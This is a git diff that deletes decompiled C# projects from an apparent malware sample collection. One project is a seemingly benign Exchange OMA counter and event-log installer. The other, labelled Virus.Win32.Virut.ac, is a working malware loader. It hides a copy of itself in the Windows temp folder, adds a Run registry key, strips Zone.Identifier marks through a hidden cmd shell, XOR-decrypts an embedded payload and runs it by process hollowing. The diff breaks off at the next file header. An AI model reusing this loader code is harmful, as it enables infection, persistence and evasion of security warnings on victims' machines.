T0RlbGV0aW5nIE9NQSBCcm93c2UgRXZlbnQgTG9nIHNvdXJjZSBmYWlsZWQgd2l0aCBlcnJvciB7MH0gYW5kIHN0YWNrIHRyYWNlIHsxfS4= - - - LU9NQSBCcm93c2UgRXZlbnQgTG9nIHNvdXJjZSBoYXMgYmVlbiBkZWxldGVkLg== - - - Mk9NQSBCcm93c2UgcGVyZm9ybWFuY2UgY291bnRlcnMgaGF2ZSBiZWVuIGRlbGV0ZWQu - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Small.l-663b3b2e6b8cbb3371ba997be0422b59723f4a920b855a82c21bc407dd6b0ec4/OmaBrowseInstall.cs b/MSIL/Virus/Win32/S/Virus.Win32.Small.l-663b3b2e6b8cbb3371ba997be0422b59723f4a920b855a82c21bc407dd6b0ec4/OmaBrowseInstall.cs deleted file mode 100644 index 9c7c5279..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Small.l-663b3b2e6b8cbb3371ba997be0422b59723f4a920b855a82c21bc407dd6b0ec4/OmaBrowseInstall.cs +++ /dev/null @@ -1,164 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.Exchange.OMA.Unsupported.OmaBrowseInstall.OmaBrowseInstall -// Assembly: OmaBrowseInstall, Version=6.5.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35 -// MVID: 1551535E-661F-42F0-81A3-B6A9484A2B9D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Small.l-663b3b2e6b8cbb3371ba997be0422b59723f4a920b855a82c21bc407dd6b0ec4.exe - -using Microsoft.Win32; -using System; -using System.Diagnostics; -using System.Globalization; - -namespace Microsoft.Exchange.OMA.Unsupported.OmaBrowseInstall -{ - internal class OmaBrowseInstall - { - [STAThread] - private static int Main(string[] args) - { - bool flag1 = false; - bool flag2 = false; - bool flag3 = false; - bool flag4 = false; - if (args.Length != 2) - { - Console.WriteLine("Usage: OmaBrowseInstall [events | counters] [/create | /delete]"); - return -1; - } - if (string.CompareOrdinal("/create", args[0]) == 0 || string.CompareOrdinal("/create", args[1]) == 0) - flag3 = true; - if (string.CompareOrdinal("/delete", args[0]) == 0 || string.CompareOrdinal("/delete", args[1]) == 0) - flag4 = true; - if (string.CompareOrdinal("events", args[0]) == 0 || string.CompareOrdinal("events", args[1]) == 0) - flag1 = true; - if (string.CompareOrdinal("counters", args[0]) == 0 || string.CompareOrdinal("counters", args[1]) == 0) - flag2 = true; - string name1 = "software\\Microsoft\\Exchange"; - string name2 = "Server Language"; - try - { - ServerStrings.Culture = new CultureInfo((int) Registry.LocalMachine.OpenSubKey(name1).GetValue(name2)); - } - catch (Exception ex) - { - Console.WriteLine(ErrorStrings.ServerLanguageNotFound((object) (name1 + "\\" + name2), (object) ex.Message, (object) ex.StackTrace)); - return -6; - } - if (flag4) - { - if (flag2) - { - try - { - if (PerformanceCounterCategory.Exists(ServerStrings.Perf_CategoryName)) - { - PerformanceCounterCategory.Delete(ServerStrings.Perf_CategoryName); - Console.WriteLine(ErrorStrings.CounterDeletionSuccessful); - goto label_39; - } - else - goto label_39; - } - catch (Exception ex) - { - Console.WriteLine(ErrorStrings.CounterDeletionFailed((object) ex.Message, (object) ex.StackTrace)); - return -2; - } - } - } - if (flag3) - { - if (flag2) - { - try - { - if (PerformanceCounterCategory.Exists(ServerStrings.Perf_CategoryName)) - PerformanceCounterCategory.Delete(ServerStrings.Perf_CategoryName); - if (!PerformanceCounterCategory.Exists(ServerStrings.Perf_CategoryName)) - { - PerformanceCounterCategory.Create(ServerStrings.Perf_CategoryName, ServerStrings.Perf_CategoryHelp, new CounterCreationDataCollection() - { - new CounterCreationData(ServerStrings.Perf_BrowseCount, ServerStrings.Perf_BrowseCountHelp, PerformanceCounterType.NumberOfItems64), - new CounterCreationData(ServerStrings.Perf_BrowsesRate, ServerStrings.Perf_BrowsesRateHelp, PerformanceCounterType.RateOfCountsPerSecond32), - new CounterCreationData(ServerStrings.Perf_CalendarCount, ServerStrings.Perf_CalendarCountHelp, PerformanceCounterType.NumberOfItems64), - new CounterCreationData(ServerStrings.Perf_CalendarRate, ServerStrings.Perf_CalendarRateHelp, PerformanceCounterType.RateOfCountsPerSecond32), - new CounterCreationData(ServerStrings.Perf_InboxCount, ServerStrings.Perf_InboxCountHelp, PerformanceCounterType.NumberOfItems64), - new CounterCreationData(ServerStrings.Perf_InboxRate, ServerStrings.Perf_InboxRateHelp, PerformanceCounterType.RateOfCountsPerSecond32), - new CounterCreationData(ServerStrings.Perf_ContactCount, ServerStrings.Perf_ContactCountHelp, PerformanceCounterType.NumberOfItems64), - new CounterCreationData(ServerStrings.Perf_ContactRate, ServerStrings.Perf_ContactRateHelp, PerformanceCounterType.RateOfCountsPerSecond32), - new CounterCreationData(ServerStrings.Perf_TaskCount, ServerStrings.Perf_TaskCountHelp, PerformanceCounterType.NumberOfItems64), - new CounterCreationData(ServerStrings.Perf_TaskRate, ServerStrings.Perf_TaskRateHelp, PerformanceCounterType.RateOfCountsPerSecond32), - new CounterCreationData(ServerStrings.Perf_ResponseTimeAverage, ServerStrings.Perf_ResponseTimeAverageHelp, PerformanceCounterType.NumberOfItems32), - new CounterCreationData(ServerStrings.Perf_InternalResponseTimeAverage, ServerStrings.Perf_InternalResponseTimeAverageHelp, PerformanceCounterType.NumberOfItems64), - new CounterCreationData(ServerStrings.Perf_ResponseTime, ServerStrings.Perf_ResponseTimeHelp, PerformanceCounterType.NumberOfItems32), - new CounterCreationData(ServerStrings.Perf_CurrentBrowses, ServerStrings.Perf_CurrentBrowsesHelp, PerformanceCounterType.NumberOfItems32), - new CounterCreationData(ServerStrings.Perf_MaximumBrowses, ServerStrings.Perf_MaximumBrowsesHelp, PerformanceCounterType.NumberOfItems32), - new CounterCreationData(ServerStrings.Perf_Status100Count, ServerStrings.Perf_Status100CountHelp, PerformanceCounterType.NumberOfItems64), - new CounterCreationData(ServerStrings.Perf_Status200Count, ServerStrings.Perf_Status200CountHelp, PerformanceCounterType.NumberOfItems64), - new CounterCreationData(ServerStrings.Perf_Status300Count, ServerStrings.Perf_Status300CountHelp, PerformanceCounterType.NumberOfItems64), - new CounterCreationData(ServerStrings.Perf_Status400Count, ServerStrings.Perf_Status400CountHelp, PerformanceCounterType.NumberOfItems64), - new CounterCreationData(ServerStrings.Perf_Status500Count, ServerStrings.Perf_Status500CountHelp, PerformanceCounterType.NumberOfItems64) - }); - Console.WriteLine(ErrorStrings.CounterCreationSuccessful); - goto label_39; - } - else - goto label_39; - } - catch (Exception ex) - { - Console.WriteLine(ErrorStrings.CounterCreationFailed((object) ex.Message, (object) ex.StackTrace)); - return -3; - } - } - } - if (flag3) - { - if (flag1) - { - try - { - if (EventLog.SourceExists(ServerStrings.Log_EventSource)) - EventLog.DeleteEventSource(ServerStrings.Log_EventSource); - EventLog.CreateEventSource(ServerStrings.Log_EventSource, "", "."); - if (!EventLog.SourceExists("aspnet_wp")) - EventLog.CreateEventSource("aspnet_wp", "", "."); - Console.WriteLine(ErrorStrings.EventCreationSuccessful); - goto label_39; - } - catch (Exception ex) - { - Console.WriteLine(ErrorStrings.EventCreationFailed((object) ex.Message, (object) ex.StackTrace)); - return -4; - } - } - } - if (flag4) - { - if (flag1) - { - try - { - if (EventLog.SourceExists(ServerStrings.Log_EventSource)) - { - EventLog.DeleteEventSource(ServerStrings.Log_EventSource); - Console.WriteLine(ErrorStrings.EventDeletionSuccessful); - goto label_39; - } - else - goto label_39; - } - catch (Exception ex) - { - Console.WriteLine(ErrorStrings.EventDeletionFailed((object) ex.Message, (object) ex.StackTrace)); - return -5; - } - } - } - Console.WriteLine("Usage: OmaBrowseInstall [events | counters] [/create | /delete]"); - return -1; -label_39: - return 0; - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Small.l-663b3b2e6b8cbb3371ba997be0422b59723f4a920b855a82c21bc407dd6b0ec4/ServerStrings.cs b/MSIL/Virus/Win32/S/Virus.Win32.Small.l-663b3b2e6b8cbb3371ba997be0422b59723f4a920b855a82c21bc407dd6b0ec4/ServerStrings.cs deleted file mode 100644 index 91ecd8a7..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Small.l-663b3b2e6b8cbb3371ba997be0422b59723f4a920b855a82c21bc407dd6b0ec4/ServerStrings.cs +++ /dev/null @@ -1,257 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.Exchange.OMA.Unsupported.OmaBrowseInstall.ServerStrings -// Assembly: OmaBrowseInstall, Version=6.5.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35 -// MVID: 1551535E-661F-42F0-81A3-B6A9484A2B9D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Small.l-663b3b2e6b8cbb3371ba997be0422b59723f4a920b855a82c21bc407dd6b0ec4.exe - -using System; -using System.Globalization; -using System.Reflection; -using System.Resources; -using System.Threading; - -namespace Microsoft.Exchange.OMA.Unsupported.OmaBrowseInstall -{ - public class ServerStrings - { - private static CultureInfo m_Culture = (CultureInfo) null; - private static bool loading = false; - private static ServerStrings loader = (ServerStrings) null; - private ResourceManager resources; - - public static CultureInfo Culture - { - get => ServerStrings.m_Culture == null ? Thread.CurrentThread.CurrentUICulture : ServerStrings.m_Culture; - set => ServerStrings.m_Culture = value; - } - - public static string Perf_CategoryName => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_CategoryName)); - - public static string Perf_CategoryHelp => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_CategoryHelp)); - - public static string Perf_BrowseCount => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_BrowseCount)); - - public static string Perf_BrowseCountHelp => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_BrowseCountHelp)); - - public static string Perf_BrowsesRate => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_BrowsesRate)); - - public static string Perf_BrowsesRateHelp => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_BrowsesRateHelp)); - - public static string Perf_ResponseTime => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_ResponseTime)); - - public static string Perf_ResponseTimeHelp => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_ResponseTimeHelp)); - - public static string Perf_ResponseTimeAverage => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_ResponseTimeAverage)); - - public static string Perf_ResponseTimeAverageHelp => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_ResponseTimeAverageHelp)); - - public static string Perf_InternalResponseTimeAverage => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_InternalResponseTimeAverage)); - - public static string Perf_InternalResponseTimeAverageHelp => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_InternalResponseTimeAverageHelp)); - - public static string Perf_CalendarCount => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_CalendarCount)); - - public static string Perf_CalendarCountHelp => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_CalendarCountHelp)); - - public static string Perf_CalendarRate => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_CalendarRate)); - - public static string Perf_CalendarRateHelp => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_CalendarRateHelp)); - - public static string Perf_InboxCount => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_InboxCount)); - - public static string Perf_InboxCountHelp => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_InboxCountHelp)); - - public static string Perf_InboxRate => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_InboxRate)); - - public static string Perf_InboxRateHelp => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_InboxRateHelp)); - - public static string Perf_ContactCount => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_ContactCount)); - - public static string Perf_ContactCountHelp => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_ContactCountHelp)); - - public static string Perf_ContactRate => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_ContactRate)); - - public static string Perf_ContactRateHelp => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_ContactRateHelp)); - - public static string Perf_TaskCount => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_TaskCount)); - - public static string Perf_TaskCountHelp => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_TaskCountHelp)); - - public static string Perf_TaskRate => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_TaskRate)); - - public static string Perf_TaskRateHelp => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_TaskRateHelp)); - - public static string Perf_CurrentBrowses => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_CurrentBrowses)); - - public static string Perf_CurrentBrowsesHelp => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_CurrentBrowsesHelp)); - - public static string Perf_MaximumBrowses => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_MaximumBrowses)); - - public static string Perf_MaximumBrowsesHelp => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_MaximumBrowsesHelp)); - - public static string Perf_Status100Count => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_Status100Count)); - - public static string Perf_Status100CountHelp => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_Status100CountHelp)); - - public static string Perf_Status200Count => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_Status200Count)); - - public static string Perf_Status200CountHelp => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_Status200CountHelp)); - - public static string Perf_Status300Count => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_Status300Count)); - - public static string Perf_Status300CountHelp => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_Status300CountHelp)); - - public static string Perf_Status400Count => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_Status400Count)); - - public static string Perf_Status400CountHelp => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_Status400CountHelp)); - - public static string Perf_Status500Count => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_Status500Count)); - - public static string Perf_Status500CountHelp => ServerStrings.GetString(ServerStrings.Culture, nameof (Perf_Status500CountHelp)); - - public static string Log_EventFWLinkMessage(object arg) => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_EventFWLinkMessage), arg); - - public static string Log_EventSource => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_EventSource)); - - public static string Log_EventCategory => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_EventCategory)); - - public static string Log_EventCategoryId => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_EventCategoryId)); - - public static string Log_OmaStart => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_OmaStart)); - - public static string Log_OmaStartId => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_OmaStartId)); - - public static string Log_OmaEnd => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_OmaEnd)); - - public static string Log_OmaEndId => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_OmaEndId)); - - public static string Log_OmaNoPerfCounters(object arg) => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_OmaNoPerfCounters), arg); - - public static string Log_OmaNoPerfCountersId => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_OmaNoPerfCountersId)); - - public static string Log_OmaBadUserForSession(object arg, object arg1) => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_OmaBadUserForSession), arg, arg1); - - public static string Log_OmaBadUserForSessionId => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_OmaBadUserForSessionId)); - - public static string Log_OmaNoCredentials => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_OmaNoCredentials)); - - public static string Log_OmaNoCredentialsId => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_OmaNoCredentialsId)); - - public static string Log_OmaInvalidCredentials => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_OmaInvalidCredentials)); - - public static string Log_OmaInvalidCredentialsId => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_OmaInvalidCredentialsId)); - - public static string Log_OmaUnknownError(object arg, object arg1) => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_OmaUnknownError), arg, arg1); - - public static string Log_OmaUnknownErrorId => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_OmaUnknownErrorId)); - - public static string Log_OmaBadCredentials(object arg) => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_OmaBadCredentials), arg); - - public static string Log_OmaBadCredentialsId => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_OmaBadCredentialsId)); - - public static string Log_OmaNoShortDomain(object arg, object arg1) => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_OmaNoShortDomain), arg, arg1); - - public static string Log_OmaNoShortDomainId => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_OmaNoShortDomainId)); - - public static string Log_OmaUnknownErrorOneInner( - object arg, - object arg1, - object arg2, - object arg3) - { - return ServerStrings.GetString(ServerStrings.Culture, nameof (Log_OmaUnknownErrorOneInner), arg, arg1, arg2, arg3); - } - - public static string Log_OmaUnknownErrorOneInnerId => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_OmaUnknownErrorOneInnerId)); - - public static string Log_OmaUnknownErrorTwoInner( - object arg, - object arg1, - object arg2, - object arg3, - object arg4, - object arg5) - { - return ServerStrings.GetString(ServerStrings.Culture, nameof (Log_OmaUnknownErrorTwoInner), arg, arg1, arg2, arg3, arg4, arg5); - } - - public static string Log_OmaUnknownErrorTwoInnerId => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_OmaUnknownErrorTwoInnerId)); - - public static string Log_OmaUserNotEnabled(object arg) => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_OmaUserNotEnabled), arg); - - public static string Log_OmaUserNotEnabledId => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_OmaUserNotEnabledId)); - - public static string Log_OmaErrorNoInfo => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_OmaErrorNoInfo)); - - public static string Log_OmaErrorNoInfoId => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_OmaErrorNoInfoId)); - - public static string Log_OmaNoDefaultDomain(object arg, object arg1, object arg2) => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_OmaNoDefaultDomain), arg, arg1, arg2); - - public static string Log_OmaNoDefaultDomainId => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_OmaNoDefaultDomainId)); - - public static string Log_OmaMetabaseRead(object arg, object arg1) => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_OmaMetabaseRead), arg, arg1); - - public static string Log_OmaMetabaseReadId => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_OmaMetabaseReadId)); - - public static string Log_InvalidAuthorizationHeader => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_InvalidAuthorizationHeader)); - - public static string Log_InvalidAuthorizationHeaderId => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_InvalidAuthorizationHeaderId)); - - public static string Log_ExceptionDecodeAuthorizationHeader => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_ExceptionDecodeAuthorizationHeader)); - - public static string Log_ExceptionDecodeAuthorizationHeaderId => ServerStrings.GetString(ServerStrings.Culture, nameof (Log_ExceptionDecodeAuthorizationHeaderId)); - - public static string ErrorPage_DefaultIdForServerErrors => ServerStrings.GetString(ServerStrings.Culture, nameof (ErrorPage_DefaultIdForServerErrors)); - - public static string ErrorPage_SystemErrorTitle => ServerStrings.GetString(ServerStrings.Culture, nameof (ErrorPage_SystemErrorTitle)); - - public static string ErrorPage_SystemErrorMessage => ServerStrings.GetString(ServerStrings.Culture, nameof (ErrorPage_SystemErrorMessage)); - - public static string ErrorPage_NotEnabledTitle => ServerStrings.GetString(ServerStrings.Culture, nameof (ErrorPage_NotEnabledTitle)); - - public static string ErrorPage_NotEnabledMessage => ServerStrings.GetString(ServerStrings.Culture, nameof (ErrorPage_NotEnabledMessage)); - - protected ServerStrings() => this.resources = new ResourceManager(nameof (ServerStrings), Assembly.Load("Microsoft.Exchange.OMA.UISvr")); - - private static ServerStrings GetLoader() - { - if (ServerStrings.loader == null && !ServerStrings.loading) - { - lock (typeof (ServerStrings)) - { - if (ServerStrings.loader == null) - { - if (!ServerStrings.loading) - { - ServerStrings.loading = true; - try - { - ServerStrings.loader = new ServerStrings(); - } - finally - { - ServerStrings.loading = false; - } - } - } - } - } - return ServerStrings.loader; - } - - public static string GetString(string name, params object[] args) => ServerStrings.GetString(ServerStrings.Culture, name, args); - - public static string GetString(CultureInfo culture, string name, params object[] args) - { - ServerStrings loader = ServerStrings.GetLoader(); - if (loader == null) - return (string) null; - string format = loader.resources.GetString(name, culture); - return args != null && args.Length > 0 ? string.Format((IFormatProvider) culture, format, args) : format; - } - - public static string GetString(string name) => ServerStrings.GetString(ServerStrings.Culture, name); - - public static string GetString(CultureInfo culture, string name) => ServerStrings.GetLoader()?.resources.GetString(name, culture); - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Small.l-663b3b2e6b8cbb3371ba997be0422b59723f4a920b855a82c21bc407dd6b0ec4/Virus.Win32.Small.l.csproj b/MSIL/Virus/Win32/S/Virus.Win32.Small.l-663b3b2e6b8cbb3371ba997be0422b59723f4a920b855a82c21bc407dd6b0ec4/Virus.Win32.Small.l.csproj deleted file mode 100644 index 99397b9d..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Small.l-663b3b2e6b8cbb3371ba997be0422b59723f4a920b855a82c21bc407dd6b0ec4/Virus.Win32.Small.l.csproj +++ /dev/null @@ -1,46 +0,0 @@ - - - - - Debug - AnyCPU - {FD33E0A4-7AC8-4B1D-A808-2B4A372A30E6} - Exe - OmaBrowseInstall - 6.5.0.0 - Microsoft.Exchange.OMA.Unsupported.OmaBrowseInstall - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Small.l-663b3b2e6b8cbb3371ba997be0422b59723f4a920b855a82c21bc407dd6b0ec4/Virus.Win32.Small.l.sln b/MSIL/Virus/Win32/S/Virus.Win32.Small.l-663b3b2e6b8cbb3371ba997be0422b59723f4a920b855a82c21bc407dd6b0ec4/Virus.Win32.Small.l.sln deleted file mode 100644 index 3da350ba..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Small.l-663b3b2e6b8cbb3371ba997be0422b59723f4a920b855a82c21bc407dd6b0ec4/Virus.Win32.Small.l.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "OmaBrowseInstall", "Virus.Win32.Small.l-663b3b2e6b8cbb3371ba997be0422b59723f4a920b855a82c21bc407dd6b0ec4.csproj", "{FD33E0A4-7AC8-4B1D-A808-2B4A372A30E6}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {FD33E0A4-7AC8-4B1D-A808-2B4A372A30E6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {FD33E0A4-7AC8-4B1D-A808-2B4A372A30E6}.Debug|Any CPU.Build.0 = Debug|Any CPU - {FD33E0A4-7AC8-4B1D-A808-2B4A372A30E6}.Release|Any CPU.ActiveCfg = Release|Any CPU - {FD33E0A4-7AC8-4B1D-A808-2B4A372A30E6}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ac-a8742491b0c24128c984e4272dd39160994413c06121c47fa9bf8ecb333708fd/AssemblyInfo.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ac-a8742491b0c24128c984e4272dd39160994413c06121c47fa9bf8ecb333708fd/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ac-a8742491b0c24128c984e4272dd39160994413c06121c47fa9bf8ecb333708fd/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ac-a8742491b0c24128c984e4272dd39160994413c06121c47fa9bf8ecb333708fd/ReadResource.cs b/MSIL/Virus/Win32/V/Virus.Win32.Virut.ac-a8742491b0c24128c984e4272dd39160994413c06121c47fa9bf8ecb333708fd/ReadResource.cs deleted file mode 100644 index 5e34c5fe..00000000 --- a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ac-a8742491b0c24128c984e4272dd39160994413c06121c47fa9bf8ecb333708fd/ReadResource.cs +++ /dev/null @@ -1,119 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: smss.ReadResource -// Assembly: smss, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 9DAAF14C-A13E-4FB1-BFB2-3533F8F506E6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Virut.ac-a8742491b0c24128c984e4272dd39160994413c06121c47fa9bf8ecb333708fd.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System; -using System.Diagnostics; -using System.IO; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace smss -{ - [StandardModule] - internal sealed class ReadResource - { - private static object _tPath = (object) (Environment.GetEnvironmentVariable("windir") + "\\temp\\taskhost.exe"); - private static object _proc = (object) Process.GetCurrentProcess().MainModule.ModuleName; - - public static void Startup() - { - try - { - if (!File.Exists(Conversions.ToString(ReadResource._tPath))) - File.Copy(Conversions.ToString(ReadResource._proc), Conversions.ToString(ReadResource._tPath), true); - File.SetAttributes(Conversions.ToString(ReadResource._tPath), File.GetAttributes(Conversions.ToString(ReadResource._tPath)) | FileAttributes.Hidden); - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (registryKey == null || registryKey.GetValue(Conversions.ToString(ReadResource._tPath)) != null) - return; - registryKey.SetValue(Conversions.ToString(ReadResource._tPath), RuntimeHelpers.GetObjectValue(ReadResource._tPath)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void DisableSecurity() - { - try - { - Process process = new Process(); - ProcessStartInfo processStartInfo1 = new ProcessStartInfo(); - ProcessStartInfo processStartInfo2 = processStartInfo1; - processStartInfo2.FileName = "cmd"; - processStartInfo2.RedirectStandardInput = true; - processStartInfo2.RedirectStandardOutput = true; - processStartInfo2.UseShellExecute = false; - processStartInfo2.CreateNoWindow = true; - process.StartInfo = processStartInfo1; - process.Start(); - using (StreamReader standardOutput = process.StandardOutput) - { - using (StreamWriter standardInput = process.StandardInput) - { - standardInput.WriteLine(Conversions.ToString(Operators.ConcatenateObject((object) "cd ", ReadResource._tPath)), (object) AppWinStyle.Hide); - standardInput.WriteLine(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject((object) "FOR /R %I IN (*", ReadResource._proc), (object) "*) DO > %I:Zone.Identifier ECHO.")), (object) AppWinStyle.Hide); - standardInput.WriteLine("exit"); - standardInput.Close(); - } - standardOutput.Close(); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - [DllImport("kernel32.dll", SetLastError = true)] - private static extern IntPtr FindResource(IntPtr hModule, string lpName, string lpType); - - [DllImport("kernel32", EntryPoint = "GetModuleHandleA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.VBByRefStr)] ref string moduleName); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr LoadResource(IntPtr hModule, IntPtr fr); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SizeofResource(IntPtr hModule, IntPtr fr); - - [STAThread] - public static void Main() - { - ReadResource.DisableSecurity(); - ReadResource.Startup(); - try - { - string moduleName = Process.GetCurrentProcess().MainModule.ModuleName; - IntPtr moduleHandle = ReadResource.GetModuleHandle(ref moduleName); - IntPtr resource = ReadResource.FindResource(moduleHandle, "0", "RT_RCDATA"); - IntPtr source = ReadResource.LoadResource(moduleHandle, resource); - int length = ReadResource.SizeofResource(moduleHandle, resource); - byte[] numArray = new byte[length - 1 + 1 - 1 + 1]; - Marshal.Copy(source, numArray, 0, length); - int int32_1 = BitConverter.ToInt32(numArray, Convert.ToInt32(numArray.Length - 4)); - byte[] data = (byte[]) Utils.CopyArray((Array) numArray, (Array) new byte[numArray.Length - 3 + 1 - 1 + 1]); - Random random = new Random(int32_1); - byte[] buffer = new byte[data.Length - 1 + 1 - 1 + 1]; - random.NextBytes(buffer); - int int32_2 = Convert.ToInt32(data.Length - 1); - for (int index = 0; index <= int32_2; ++index) - data[index] = Convert.ToByte((byte) ((int) data[index] ^ (int) buffer[index])); - RunpeClass.RunpeSub(data, Conversions.ToString(ReadResource._proc)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } -} diff --git a/MSIL/Virus/Win32/V/Virus.Win32.Virut.ac-a8742491b0c24128c984e4272dd39160994413c06121c47fa9bf8ecb333708fd/RunpeClass.cs 